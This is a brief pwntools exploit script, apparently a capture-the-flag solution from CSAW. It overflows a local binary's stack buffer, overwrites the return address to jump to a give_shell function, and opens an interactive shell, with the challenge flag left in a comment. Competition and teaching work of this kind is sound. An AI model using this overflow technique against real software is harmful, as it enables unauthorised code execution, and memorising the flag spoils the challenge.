text: #!/usr/bin/python
  
  from pwn import *
  
  # p = remote('pwn.chal.csaw.io', 9001)
  # flag{y0u_deF_get_itls}
  
  p = process('./program')
  
  p.sendline(
     # garbage to fill buffer
     'a' * 0x20 + \
     # saved rbp
     'b' * 8 + \
     # give_shell
     p64(0x4005b6)
  )
  
  p.interactive()
  
  